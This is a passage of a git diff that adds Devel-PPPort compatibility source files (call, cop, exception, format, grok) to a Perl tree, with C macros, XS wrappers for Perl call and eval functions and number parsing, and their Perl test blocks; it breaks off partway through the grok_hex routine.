+ utilize(!(flags & PERL_LOADMOD_DENY), start_subparse(),
+ veop, modname, imop);
+#else
+ utilize(!(flags & PERL_LOADMOD_DENY), start_subparse(),
+ modname, imop);
+#endif
+ PL_expect = oexpect;
+ PL_copline = ocopline;
+ PL_curcop = ocurcop;
+ }
+}
+
+#endif
+#endif
+
+#ifndef load_module
+#if { NEED load_module }
+
+void
+load_module(U32 flags, SV *name, SV *ver, ...)
+{
+ va_list args;
+ va_start(args, ver);
+ vload_module(flags, name, ver, &args);
+ va_end(args);
+}
+
+#endif
+#endif
+
+=xsinit
+
+#define NEED_eval_pv
+#define NEED_load_module
+#define NEED_vload_module
+
+=xsubs
+
+I32
+G_SCALAR()
+ CODE:
+ RETVAL = G_SCALAR;
+ OUTPUT:
+ RETVAL
+
+I32
+G_ARRAY()
+ CODE:
+ RETVAL = G_ARRAY;
+ OUTPUT:
+ RETVAL
+
+I32
+G_DISCARD()
+ CODE:
+ RETVAL = G_DISCARD;
+ OUTPUT:
+ RETVAL
+
+void
+eval_sv(sv, flags)
+ SV* sv
+ I32 flags
+ PREINIT:
+ I32 i;
+ PPCODE:
+ PUTBACK;
+ i = eval_sv(sv, flags);
+ SPAGAIN;
+ EXTEND(SP, 1);
+ mPUSHi(i);
+
+void
+eval_pv(p, croak_on_error)
+ char* p
+ I32 croak_on_error
+ PPCODE:
+ PUTBACK;
+ EXTEND(SP, 1);
+ PUSHs(eval_pv(p, croak_on_error));
+
+void
+call_sv(sv, flags, ...)
+ SV* sv
+ I32 flags
+ PREINIT:
+ I32 i;
+ PPCODE:
+ for (i=0; i<items-2; i++)
+ ST(i) = ST(i+2); /* pop first two args */
+ PUSHMARK(SP);
+ SP += items - 2;
+ PUTBACK;
+ i = call_sv(sv, flags);
+ SPAGAIN;
+ EXTEND(SP, 1);
+ mPUSHi(i);
+
+void
+call_pv(subname, flags, ...)
+ char* subname
+ I32 flags
+ PREINIT:
+ I32 i;
+ PPCODE:
+ for (i=0; i<items-2; i++)
+ ST(i) = ST(i+2); /* pop first two args */
+ PUSHMARK(SP);
+ SP += items - 2;
+ PUTBACK;
+ i = call_pv(subname, flags);
+ SPAGAIN;
+ EXTEND(SP, 1);
+ mPUSHi(i);
+
+void
+call_argv(subname, flags, ...)
+ char* subname
+ I32 flags
+ PREINIT:
+ I32 i;
+ char *args[8];
+ PPCODE:
+ if (items > 8) /* play safe */
+ XSRETURN_UNDEF;
+ for (i=2; i<items; i++)
+ args[i-2] = SvPV_nolen(ST(i));
+ args[items-2] = NULL;
+ PUTBACK;
+ i = call_argv(subname, flags, args);
+ SPAGAIN;
+ EXTEND(SP, 1);
+ mPUSHi(i);
+
+void
+call_method(methname, flags, ...)
+ char* methname
+ I32 flags
+ PREINIT:
+ I32 i;
+ PPCODE:
+ for (i=0; i<items-2; i++)
+ ST(i) = ST(i+2); /* pop first two args */
+ PUSHMARK(SP);
+ SP += items - 2;
+ PUTBACK;
+ i = call_method(methname, flags);
+ SPAGAIN;
+ EXTEND(SP, 1);
+ mPUSHi(i);
+
+void
+call_sv_G_METHOD(sv, flags, ...)
+ SV* sv
+ I32 flags
+ PREINIT:
+ I32 i;
+ PPCODE:
+ for (i=0; i<items-2; i++)
+ ST(i) = ST(i+2); /* pop first two args */
+ PUSHMARK(SP);
+ SP += items - 2;
+ PUTBACK;
+ i = call_sv(sv, flags | G_METHOD);
+ SPAGAIN;
+ EXTEND(SP, 1);
+ mPUSHi(i);
+
+void
+load_module(flags, name, version, ...)
+ U32 flags
+ SV *name
+ SV *version
+ CODE:
+ /* Both SV parameters are donated to the ops built inside
+ load_module, so we need to bump the refcounts. */
+ Perl_load_module(aTHX_ flags, SvREFCNT_inc_simple(name),
+ SvREFCNT_inc_simple(version), NULL);
+
+=tests plan => 52
+
+sub eq_array
+{
+ my($a, $b) = @_;
+ join(':', @$a) eq join(':', @$b);
+}
+
+sub f
+{
+ shift;
+ unshift @_, 'b';
+ pop @_;
+ @_, defined wantarray ? wantarray ? 'x' : 'y' : 'z';
+}
+
+my $obj = bless [], 'Foo';
+
+sub Foo::meth
+{
+ return 'bad_self' unless @_ && ref $_[0] && ref($_[0]) eq 'Foo';
+ shift;
+ shift;
+ unshift @_, 'b';
+ pop @_;
+ @_, defined wantarray ? wantarray ? 'x' : 'y' : 'z';
+}
+
+my $test;
+
+for $test (
+ # flags args expected description
+ [ &Devel::PPPort::G_SCALAR, [ ], [ qw(y 1) ], '0 args, G_SCALAR' ],
+ [ &Devel::PPPort::G_SCALAR, [ qw(a p q) ], [ qw(y 1) ], '3 args, G_SCALAR' ],
+ [ &Devel::PPPort::G_ARRAY, [ ], [ qw(x 1) ], '0 args, G_ARRAY' ],
+ [ &Devel::PPPort::G_ARRAY, [ qw(a p q) ], [ qw(b p x 3) ], '3 args, G_ARRAY' ],
+ [ &Devel::PPPort::G_DISCARD, [ ], [ qw(0) ], '0 args, G_DISCARD' ],
+ [ &Devel::PPPort::G_DISCARD, [ qw(a p q) ], [ qw(0) ], '3 args, G_DISCARD' ],
+)
+{
+ my ($flags, $args, $expected, $description) = @$test;
+ print "# --- $description ---\n";
+ ok(eq_array( [ &Devel::PPPort::call_sv(\&f, $flags, @$args) ], $expected));
+ ok(eq_array( [ &Devel::PPPort::call_sv(*f, $flags, @$args) ], $expected));
+ ok(eq_array( [ &Devel::PPPort::call_sv('f', $flags, @$args) ], $expected));
+ ok(eq_array( [ &Devel::PPPort::call_pv('f', $flags, @$args) ], $expected));
+ ok(eq_array( [ &Devel::PPPort::call_argv('f', $flags, @$args) ], $expected));
+ ok(eq_array( [ &Devel::PPPort::eval_sv("f(qw(@$args))", $flags) ], $expected));
+ ok(eq_array( [ &Devel::PPPort::call_method('meth', $flags, $obj, @$args) ], $expected));
+ ok(eq_array( [ &Devel::PPPort::call_sv_G_METHOD('meth', $flags, $obj, @$args) ], $expected));
+};
+
+ok(&Devel::PPPort::eval_pv('f()', 0), 'y');
+ok(&Devel::PPPort::eval_pv('f(qw(a b c))', 0), 'y');
+
+ok(!defined $::{'less::'}, 1, "Hadn't loaded less yet");
+Devel::PPPort::load_module(0, "less", undef);
+ok(defined $::{'less::'}, 1, "Have now loaded less");
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/cop b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/cop
new file mode 100644
index 00000000000..355a2e1aad9
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/cop
@@ -0,0 +1,231 @@
+################################################################################
+##
+## Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+## Version 2.x, Copyright (C) 2001, Paul Marquess.
+## Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+## This program is free software; you can redistribute it and/or
+## modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+caller_cx
+__UNDEFINED__
+
+=implementation
+
+#ifdef USE_ITHREADS
+
+__UNDEFINED__ CopFILE(c) ((c)->cop_file)
+__UNDEFINED__ CopFILEGV(c) (CopFILE(c) ? gv_fetchfile(CopFILE(c)) : Nullgv)
+__UNDEFINED__ CopFILE_set(c,pv) ((c)->cop_file = savepv(pv))
+__UNDEFINED__ CopFILESV(c) (CopFILE(c) ? GvSV(gv_fetchfile(CopFILE(c))) : Nullsv)
+__UNDEFINED__ CopFILEAV(c) (CopFILE(c) ? GvAV(gv_fetchfile(CopFILE(c))) : Nullav)
+__UNDEFINED__ CopSTASHPV(c) ((c)->cop_stashpv)
+__UNDEFINED__ CopSTASHPV_set(c,pv) ((c)->cop_stashpv = ((pv) ? savepv(pv) : Nullch))
+__UNDEFINED__ CopSTASH(c) (CopSTASHPV(c) ? gv_stashpv(CopSTASHPV(c),GV_ADD) : Nullhv)
+__UNDEFINED__ CopSTASH_set(c,hv) CopSTASHPV_set(c, (hv) ? HvNAME(hv) : Nullch)
+__UNDEFINED__ CopSTASH_eq(c,hv) ((hv) && (CopSTASHPV(c) == HvNAME(hv) \
+ || (CopSTASHPV(c) && HvNAME(hv) \
+ && strEQ(CopSTASHPV(c), HvNAME(hv)))))
+
+#else
+
+__UNDEFINED__ CopFILEGV(c) ((c)->cop_filegv)
+__UNDEFINED__ CopFILEGV_set(c,gv) ((c)->cop_filegv = (GV*)SvREFCNT_inc(gv))
+__UNDEFINED__ CopFILE_set(c,pv) CopFILEGV_set((c), gv_fetchfile(pv))
+__UNDEFINED__ CopFILESV(c) (CopFILEGV(c) ? GvSV(CopFILEGV(c)) : Nullsv)
+__UNDEFINED__ CopFILEAV(c) (CopFILEGV(c) ? GvAV(CopFILEGV(c)) : Nullav)
+__UNDEFINED__ CopFILE(c) (CopFILESV(c) ? SvPVX(CopFILESV(c)) : Nullch)
+__UNDEFINED__ CopSTASH(c) ((c)->cop_stash)
+__UNDEFINED__ CopSTASH_set(c,hv) ((c)->cop_stash = (hv))
+__UNDEFINED__ CopSTASHPV(c) (CopSTASH(c) ? HvNAME(CopSTASH(c)) : Nullch)
+__UNDEFINED__ CopSTASHPV_set(c,pv) CopSTASH_set((c), gv_stashpv(pv,GV_ADD))
+__UNDEFINED__ CopSTASH_eq(c,hv) (CopSTASH(c) == (hv))
+
+#endif /* USE_ITHREADS */
+
+#if { VERSION >= 5.6.0 }
+#ifndef caller_cx
+
+# if defined(NEED_caller_cx) || defined(NEED_caller_cx_GLOBAL)
+static I32
+DPPP_dopoptosub_at(const PERL_CONTEXT *cxstk, I32 startingblock)
+{
+ I32 i;
+
+ for (i = startingblock; i >= 0; i--) {
+ register const PERL_CONTEXT * const cx = &cxstk[i];
+ switch (CxTYPE(cx)) {
+ default:
+ continue;
+ case CXt_EVAL:
+ case CXt_SUB:
+ case CXt_FORMAT:
+ return i;
+ }
+ }
+ return i;
+}
+# endif
+
+# if { NEED caller_cx }
+
+const PERL_CONTEXT *
+caller_cx(pTHX_ I32 count, const PERL_CONTEXT **dbcxp)
+{
+ register I32 cxix = DPPP_dopoptosub_at(cxstack, cxstack_ix);
+ register const PERL_CONTEXT *cx;
+ register const PERL_CONTEXT *ccstack = cxstack;
+ const PERL_SI *top_si = PL_curstackinfo;
+
+ for (;;) {
+ /* we may be in a higher stacklevel, so dig down deeper */
+ while (cxix < 0 && top_si->si_type != PERLSI_MAIN) {
+ top_si = top_si->si_prev;
+ ccstack = top_si->si_cxstack;
+ cxix = DPPP_dopoptosub_at(ccstack, top_si->si_cxix);
+ }
+ if (cxix < 0)
+ return NULL;
+ /* caller() should not report the automatic calls to &DB::sub */
+ if (PL_DBsub && GvCV(PL_DBsub) && cxix >= 0 &&
+ ccstack[cxix].blk_sub.cv == GvCV(PL_DBsub))
+ count++;
+ if (!count--)
+ break;
+ cxix = DPPP_dopoptosub_at(ccstack, cxix - 1);
+ }
+
+ cx = &ccstack[cxix];
+ if (dbcxp) *dbcxp = cx;
+
+ if (CxTYPE(cx) == CXt_SUB || CxTYPE(cx) == CXt_FORMAT) {
+ const I32 dbcxix = DPPP_dopoptosub_at(ccstack, cxix - 1);
+ /* We expect that ccstack[dbcxix] is CXt_SUB, anyway, the
+ field below is defined for any cx. */
+ /* caller() should not report the automatic calls to &DB::sub */
+ if (PL_DBsub && GvCV(PL_DBsub) && dbcxix >= 0 && ccstack[dbcxix].blk_sub.cv == GvCV(PL_DBsub))
+ cx = &ccstack[dbcxix];
+ }
+
+ return cx;
+}
+
+# endif
+#endif /* caller_cx */
+#endif /* 5.6.0 */
+
+=xsinit
+
+#define NEED_caller_cx
+
+=xsubs
+
+char *
+CopSTASHPV()
+ CODE:
+ RETVAL = CopSTASHPV(PL_curcop);
+ OUTPUT:
+ RETVAL
+
+char *
+CopFILE()
+ CODE:
+ RETVAL = CopFILE(PL_curcop);
+ OUTPUT:
+ RETVAL
+
+#if { VERSION >= 5.6.0 }
+
+void
+caller_cx(level)
+ I32 level
+ PREINIT:
+ const PERL_CONTEXT *cx, *dbcx;
+ const char *pv;
+ const GV *gv;
+ PPCODE:
+ cx = caller_cx(level, &dbcx);
+ if (!cx) XSRETURN_EMPTY;
+
+ EXTEND(SP, 4);
+
+ pv = CopSTASHPV(cx->blk_oldcop);
+ ST(0) = pv ? sv_2mortal(newSVpv(pv, 0)) : &PL_sv_undef;
+ gv = CvGV(cx->blk_sub.cv);
+ ST(1) = isGV(gv) ? sv_2mortal(newSVpv(GvNAME(gv), 0)) : &PL_sv_undef;
+
+ pv = CopSTASHPV(dbcx->blk_oldcop);
+ ST(2) = pv ? sv_2mortal(newSVpv(pv, 0)) : &PL_sv_undef;
+ gv = CvGV(dbcx->blk_sub.cv);
+ ST(3) = isGV(gv) ? sv_2mortal(newSVpv(GvNAME(gv), 0)) : &PL_sv_undef;
+
+ XSRETURN(4);
+
+#endif /* 5.6.0 */
+
+=tests plan => 28
+
+my $package;
+{
+ package MyPackage;
+ $package = &Devel::PPPort::CopSTASHPV();
+}
+print "# $package\n";
+ok($package, "MyPackage");
+
+my $file = &Devel::PPPort::CopFILE();
+print "# $file\n";
+ok($file =~ /cop/i);
+
+BEGIN {
+ if ($] < 5.006000) {
+ # Skip
+ for (1..28) {
+ ok(1, 1);
+ }
+ exit;
+ }
+}
+
+BEGIN {
+ package DB;
+ no strict "refs";
+ local $^P = 1;
+ sub sub { &$DB::sub }
+}
+
+{ package One; sub one { Devel::PPPort::caller_cx($_[0]) } }
+{
+ package Two;
+ sub two { One::one(@_) }
+ sub dbtwo {
+ BEGIN { $^P = 1 }
+ One::one(@_);
+ BEGIN { $^P = 0 }
+ }
+}
+
+for (
+ # This is rather confusing. The package is the package the call is
+ # made *from*, the sub name is the sub the call is made *to*. When
+ # DB::sub is involved the first call is to DB::sub from the calling
+ # package, the second is to the real sub from package DB.
+ [\&One::one, 0, qw/main one main one/],
+ [\&One::one, 2, ],
+ [\&Two::two, 0, qw/Two one Two one/],
+ [\&Two::two, 1, qw/main two main two/],
+ [\&Two::dbtwo, 0, qw/Two sub DB one/],
+ [\&Two::dbtwo, 1, qw/main dbtwo main dbtwo/],
+) {
+ my ($sub, $arg, @want) = @$_;
+ my @got = $sub->($arg);
+ ok(@got, @want);
+ for (0..$#want) {
+ ok($got[$_], $want[$_]);
+ }
+}
+
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/exception b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/exception
new file mode 100644
index 00000000000..8dd21cc70fa
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/exception
@@ -0,0 +1,68 @@
+################################################################################
+##
+## Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+## Version 2.x, Copyright (C) 2001, Paul Marquess.
+## Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+## This program is free software; you can redistribute it and/or
+## modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+dXCPT
+XCPT_TRY_START
+XCPT_TRY_END
+XCPT_CATCH
+XCPT_RETHROW
+
+=implementation
+
+#ifdef NO_XSLOCKS
+# ifdef dJMPENV
+# define dXCPT dJMPENV; int rEtV = 0
+# define XCPT_TRY_START JMPENV_PUSH(rEtV); if (rEtV == 0)
+# define XCPT_TRY_END JMPENV_POP;
+# define XCPT_CATCH if (rEtV != 0)
+# define XCPT_RETHROW JMPENV_JUMP(rEtV)
+# else
+# define dXCPT Sigjmp_buf oldTOP; int rEtV = 0
+# define XCPT_TRY_START Copy(top_env, oldTOP, 1, Sigjmp_buf); rEtV = Sigsetjmp(top_env, 1); if (rEtV == 0)
+# define XCPT_TRY_END Copy(oldTOP, top_env, 1, Sigjmp_buf);
+# define XCPT_CATCH if (rEtV != 0)
+# define XCPT_RETHROW Siglongjmp(top_env, rEtV)
+# endif
+#endif
+
+=xsmisc
+
+/* defined in module3.c */
+int exception(int throw_e);
+
+=xsubs
+
+int
+exception(throw_e)
+ int throw_e
+ OUTPUT:
+ RETVAL
+
+=tests plan => 7
+
+my $rv;
+
+$Devel::PPPort::exception_caught = undef;
+
+$rv = eval { &Devel::PPPort::exception(0) };
+ok($@, '');
+ok(defined $rv);
+ok($rv, 42);
+ok($Devel::PPPort::exception_caught, 0);
+
+$Devel::PPPort::exception_caught = undef;
+
+$rv = eval { &Devel::PPPort::exception(1) };
+ok($@, "boo\n");
+ok(not defined $rv);
+ok($Devel::PPPort::exception_caught, 1);
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/format b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/format
new file mode 100644
index 00000000000..03c632d3baa
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/format
@@ -0,0 +1,63 @@
+################################################################################
+##
+## Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+## Version 2.x, Copyright (C) 2001, Paul Marquess.
+## Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+## This program is free software; you can redistribute it and/or
+## modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+/^#\s*define\s+(\w+)/
+
+=implementation
+
+#ifndef IVdf
+# if IVSIZE == LONGSIZE
+# define IVdf "ld"
+# define UVuf "lu"
+# define UVof "lo"
+# define UVxf "lx"
+# define UVXf "lX"
+# elif IVSIZE == INTSIZE
+# define IVdf "d"
+# define UVuf "u"
+# define UVof "o"
+# define UVxf "x"
+# define UVXf "X"
+# else
+# error "cannot define IV/UV formats"
+# endif
+#endif
+
+#ifndef NVef
+# if defined(USE_LONG_DOUBLE) && defined(HAS_LONG_DOUBLE) && \
+ defined(PERL_PRIfldbl) && { VERSION != 5.6.0 }
+ /* Not very likely, but let's try anyway. */
+# define NVef PERL_PRIeldbl
+# define NVff PERL_PRIfldbl
+# define NVgf PERL_PRIgldbl
+# else
+# define NVef "e"
+# define NVff "f"
+# define NVgf "g"
+# endif
+#endif
+
+=xsubs
+
+void
+croak_NVgf(num)
+ NV num
+ PPCODE:
+ Perl_croak(aTHX_ "%.20" NVgf "\n", num);
+
+=tests plan => 1
+
+my $num = 1.12345678901234567890;
+
+eval { Devel::PPPort::croak_NVgf($num) };
+ok($@ =~ /^1.1234567890/);
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/grok b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/grok
new file mode 100644
index 00000000000..9ca6627f1af
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/grok
@@ -0,0 +1,670 @@
+################################################################################
+##
+## Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+## Version 2.x, Copyright (C) 2001, Paul Marquess.
+## Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+## This program is free software; you can redistribute it and/or
+## modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+grok_hex
+grok_oct
+grok_bin
+grok_numeric_radix
+grok_number
+__UNDEFINED__
+
+=implementation
+
+__UNDEFINED__ IN_PERL_COMPILETIME (PL_curcop == &PL_compiling)
+__UNDEFINED__ IN_LOCALE_RUNTIME (PL_curcop->op_private & HINT_LOCALE)
+__UNDEFINED__ IN_LOCALE_COMPILETIME (PL_hints & HINT_LOCALE)
+__UNDEFINED__ IN_LOCALE (IN_PERL_COMPILETIME ? IN_LOCALE_COMPILETIME : IN_LOCALE_RUNTIME)
+
+__UNDEFINED__ IS_NUMBER_IN_UV 0x01
+__UNDEFINED__ IS_NUMBER_GREATER_THAN_UV_MAX 0x02
+__UNDEFINED__ IS_NUMBER_NOT_INT 0x04
+__UNDEFINED__ IS_NUMBER_NEG 0x08
+__UNDEFINED__ IS_NUMBER_INFINITY 0x10
+__UNDEFINED__ IS_NUMBER_NAN 0x20
+
+__UNDEFINED__ GROK_NUMERIC_RADIX(sp, send) grok_numeric_radix(sp, send)
+
+__UNDEFINED__ PERL_SCAN_GREATER_THAN_UV_MAX 0x02
+__UNDEFINED__ PERL_SCAN_SILENT_ILLDIGIT 0x04
+__UNDEFINED__ PERL_SCAN_ALLOW_UNDERSCORES 0x01
+__UNDEFINED__ PERL_SCAN_DISALLOW_PREFIX 0x02
+
+#ifndef grok_numeric_radix
+#if { NEED grok_numeric_radix }
+bool
+grok_numeric_radix(pTHX_ const char **sp, const char *send)
+{
+#ifdef USE_LOCALE_NUMERIC
+#ifdef PL_numeric_radix_sv
+ if (PL_numeric_radix_sv && IN_LOCALE) {
+ STRLEN len;
+ char* radix = SvPV(PL_numeric_radix_sv, len);
+ if (*sp + len <= send && memEQ(*sp, radix, len)) {
+ *sp += len;
+ return TRUE;
+ }
+ }
+#else
+ /* older perls don't have PL_numeric_radix_sv so the radix
+ * must manually be requested from locale.h
+ */
+#include <locale.h>
+ dTHR; /* needed for older threaded perls */
+ struct lconv *lc = localeconv();
+ char *radix = lc->decimal_point;
+ if (radix && IN_LOCALE) {
+ STRLEN len = strlen(radix);
+ if (*sp + len <= send && memEQ(*sp, radix, len)) {
+ *sp += len;
+ return TRUE;
+ }
+ }
+#endif
+#endif /* USE_LOCALE_NUMERIC */
+ /* always try "." if numeric radix didn't match because
+ * we may have data from different locales mixed */
+ if (*sp < send && **sp == '.') {
+ ++*sp;
+ return TRUE;
+ }
+ return FALSE;
+}
+#endif
+#endif
+
+#ifndef grok_number
+#if { NEED grok_number }
+int
+grok_number(pTHX_ const char *pv, STRLEN len, UV *valuep)
+{
+ const char *s = pv;
+ const char *send = pv + len;
+ const UV max_div_10 = UV_MAX / 10;
+ const char max_mod_10 = UV_MAX % 10;
+ int numtype = 0;
+ int sawinf = 0;
+ int sawnan = 0;
+
+ while (s < send && isSPACE(*s))
+ s++;
+ if (s == send) {
+ return 0;
+ } else if (*s == '-') {
+ s++;
+ numtype = IS_NUMBER_NEG;
+ }
+ else if (*s == '+')
+ s++;
+
+ if (s == send)
+ return 0;
+
+ /* next must be digit or the radix separator or beginning of infinity */
+ if (isDIGIT(*s)) {
+ /* UVs are at least 32 bits, so the first 9 decimal digits cannot
+ overflow. */
+ UV value = *s - '0';
+ /* This construction seems to be more optimiser friendly.
+ (without it gcc does the isDIGIT test and the *s - '0' separately)
+ With it gcc on arm is managing 6 instructions (6 cycles) per digit.
+ In theory the optimiser could deduce how far to unroll the loop
+ before checking for overflow. */
+ if (++s < send) {
+ int digit = *s - '0';
+ if (digit >= 0 && digit <= 9) {
+ value = value * 10 + digit;
+ if (++s < send) {
+ digit = *s - '0';
+ if (digit >= 0 && digit <= 9) {
+ value = value * 10 + digit;
+ if (++s < send) {
+ digit = *s - '0';
+ if (digit >= 0 && digit <= 9) {
+ value = value * 10 + digit;
+ if (++s < send) {
+ digit = *s - '0';
+ if (digit >= 0 && digit <= 9) {
+ value = value * 10 + digit;
+ if (++s < send) {
+ digit = *s - '0';
+ if (digit >= 0 && digit <= 9) {
+ value = value * 10 + digit;
+ if (++s < send) {
+ digit = *s - '0';
+ if (digit >= 0 && digit <= 9) {
+ value = value * 10 + digit;
+ if (++s < send) {
+ digit = *s - '0';
+ if (digit >= 0 && digit <= 9) {
+ value = value * 10 + digit;
+ if (++s < send) {
+ digit = *s - '0';
+ if (digit >= 0 && digit <= 9) {
+ value = value * 10 + digit;
+ if (++s < send) {
+ /* Now got 9 digits, so need to check
+ each time for overflow. */
+ digit = *s - '0';
+ while (digit >= 0 && digit <= 9
+ && (value < max_div_10
+ || (value == max_div_10
+ && digit <= max_mod_10))) {
+ value = value * 10 + digit;
+ if (++s < send)
+ digit = *s - '0';
+ else
+ break;
+ }
+ if (digit >= 0 && digit <= 9
+ && (s < send)) {
+ /* value overflowed.
+ skip the remaining digits, don't
+ worry about setting *valuep. */
+ do {
+ s++;
+ } while (s < send && isDIGIT(*s));
+ numtype |=
+ IS_NUMBER_GREATER_THAN_UV_MAX;
+ goto skip_value;
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+ numtype |= IS_NUMBER_IN_UV;
+ if (valuep)
+ *valuep = value;
+
+ skip_value:
+ if (GROK_NUMERIC_RADIX(&s, send)) {
+ numtype |= IS_NUMBER_NOT_INT;
+ while (s < send && isDIGIT(*s)) /* optional digits after the radix */
+ s++;
+ }
+ }
+ else if (GROK_NUMERIC_RADIX(&s, send)) {
+ numtype |= IS_NUMBER_NOT_INT | IS_NUMBER_IN_UV; /* valuep assigned below */
+ /* no digits before the radix means we need digits after it */
+ if (s < send && isDIGIT(*s)) {
+ do {
+ s++;
+ } while (s < send && isDIGIT(*s));
+ if (valuep) {
+ /* integer approximation is valid - it's 0. */
+ *valuep = 0;
+ }
+ }
+ else
+ return 0;
+ } else if (*s == 'I' || *s == 'i') {
+ s++; if (s == send || (*s != 'N' && *s != 'n')) return 0;
+ s++; if (s == send || (*s != 'F' && *s != 'f')) return 0;
+ s++; if (s < send && (*s == 'I' || *s == 'i')) {
+ s++; if (s == send || (*s != 'N' && *s != 'n')) return 0;
+ s++; if (s == send || (*s != 'I' && *s != 'i')) return 0;
+ s++; if (s == send || (*s != 'T' && *s != 't')) return 0;
+ s++; if (s == send || (*s != 'Y' && *s != 'y')) return 0;
+ s++;
+ }
+ sawinf = 1;
+ } else if (*s == 'N' || *s == 'n') {
+ /* XXX TODO: There are signaling NaNs and quiet NaNs. */
+ s++; if (s == send || (*s != 'A' && *s != 'a')) return 0;
+ s++; if (s == send || (*s != 'N' && *s != 'n')) return 0;
+ s++;
+ sawnan = 1;
+ } else
+ return 0;
+
+ if (sawinf) {
+ numtype &= IS_NUMBER_NEG; /* Keep track of sign */
+ numtype |= IS_NUMBER_INFINITY | IS_NUMBER_NOT_INT;
+ } else if (sawnan) {
+ numtype &= IS_NUMBER_NEG; /* Keep track of sign */
+ numtype |= IS_NUMBER_NAN | IS_NUMBER_NOT_INT;
+ } else if (s < send) {
+ /* we can have an optional exponent part */
+ if (*s == 'e' || *s == 'E') {
+ /* The only flag we keep is sign. Blow away any "it's UV" */
+ numtype &= IS_NUMBER_NEG;
+ numtype |= IS_NUMBER_NOT_INT;
+ s++;
+ if (s < send && (*s == '-' || *s == '+'))
+ s++;
+ if (s < send && isDIGIT(*s)) {
+ do {
+ s++;
+ } while (s < send && isDIGIT(*s));
+ }
+ else
+ return 0;
+ }
+ }
+ while (s < send && isSPACE(*s))
+ s++;
+ if (s >= send)
+ return numtype;
+ if (len == 10 && memEQ(pv, "0 but true", 10)) {
+ if (valuep)
+ *valuep = 0;
+ return IS_NUMBER_IN_UV;
+ }
+ return 0;
+}
+#endif
+#endif
+
+/*
+ * The grok_* routines have been modified to use warn() instead of
+ * Perl_warner(). Also, 'hexdigit' was the former name of PL_hexdigit,
+ * which is why the stack variable has been renamed to 'xdigit'.
+ */
+
+#ifndef grok_bin
+#if { NEED grok_bin }
+UV
+grok_bin(pTHX_ const char *start, STRLEN *len_p, I32 *flags, NV *result)
+{
+ const char *s = start;
+ STRLEN len = *len_p;
+ UV value = 0;
+ NV value_nv = 0;
+
+ const UV max_div_2 = UV_MAX / 2;
+ bool allow_underscores = *flags & PERL_SCAN_ALLOW_UNDERSCORES;
+ bool overflowed = FALSE;
+
+ if (!(*flags & PERL_SCAN_DISALLOW_PREFIX)) {
+ /* strip off leading b or 0b.
+ for compatibility silently suffer "b" and "0b" as valid binary
+ numbers. */
+ if (len >= 1) {
+ if (s[0] == 'b') {
+ s++;
+ len--;
+ }
+ else if (len >= 2 && s[0] == '0' && s[1] == 'b') {
+ s+=2;
+ len-=2;
+ }
+ }
+ }
+
+ for (; len-- && *s; s++) {
+ char bit = *s;
+ if (bit == '0' || bit == '1') {
+ /* Write it in this wonky order with a goto to attempt to get the
+ compiler to make the common case integer-only loop pretty tight.
+ With gcc seems to be much straighter code than old scan_bin. */
+ redo:
+ if (!overflowed) {
+ if (value <= max_div_2) {
+ value = (value << 1) | (bit - '0');
+ continue;
+ }
+ /* Bah. We're just overflowed. */
+ warn("Integer overflow in binary number");
+ overflowed = TRUE;
+ value_nv = (NV) value;
+ }
+ value_nv *= 2.0;
+ /* If an NV has not enough bits in its mantissa to
+ * represent a UV this summing of small low-order numbers
+ * is a waste of time (because the NV cannot preserve
+ * the low-order bits anyway): we could just remember when
+ * did we overflow and in the end just multiply value_nv by the
+ * right amount. */
+ value_nv += (NV)(bit - '0');
+ continue;
+ }
+ if (bit == '_' && len && allow_underscores && (bit = s[1])
+ && (bit == '0' || bit == '1'))
+ {
+ --len;
+ ++s;
+ goto redo;
+ }
+ if (!(*flags & PERL_SCAN_SILENT_ILLDIGIT))
+ warn("Illegal binary digit '%c' ignored", *s);
+ break;
+ }
+
+ if ( ( overflowed && value_nv > 4294967295.0)
+#if UVSIZE > 4
+ || (!overflowed && value > 0xffffffff )
+#endif
+ ) {
+ warn("Binary number > 0b11111111111111111111111111111111 non-portable");
+ }
+ *len_p = s - start;
+ if (!overflowed) {
+ *flags = 0;
+ return value;
+ }
+ *flags = PERL_SCAN_GREATER_THAN_UV_MAX;
+ if (result)
+ *result = value_nv;
+ return UV_MAX;
+}
+#endif
+#endif
+
+#ifndef grok_hex
+#if { NEED grok_hex }
+UV
+grok_hex(pTHX_ const char *start, STRLEN *len_p, I32 *flags, NV *result)
+{
+ const char *s = start;
+ STRLEN len = *len_p;
+ UV value = 0;
+ NV value_nv = 0;
+
+ const UV max_div_16 = UV_MAX / 16;
+ bool allow_underscores = *flags & PERL_SCAN_ALLOW_UNDERSCORES;
+ bool overflowed = FALSE;
+ const char *xdigit;
+
+ if (!(*flags & PERL_SCAN_DISALLOW_PREFIX)) {
+ /* strip off leading x or 0x.
+ for compatibility silently suffer "x" and "0x" as valid hex numbers.
+ */
+ if (len >= 1) {
+ if (s[0] == 'x') {
+ s++;
+ len--;
+ }
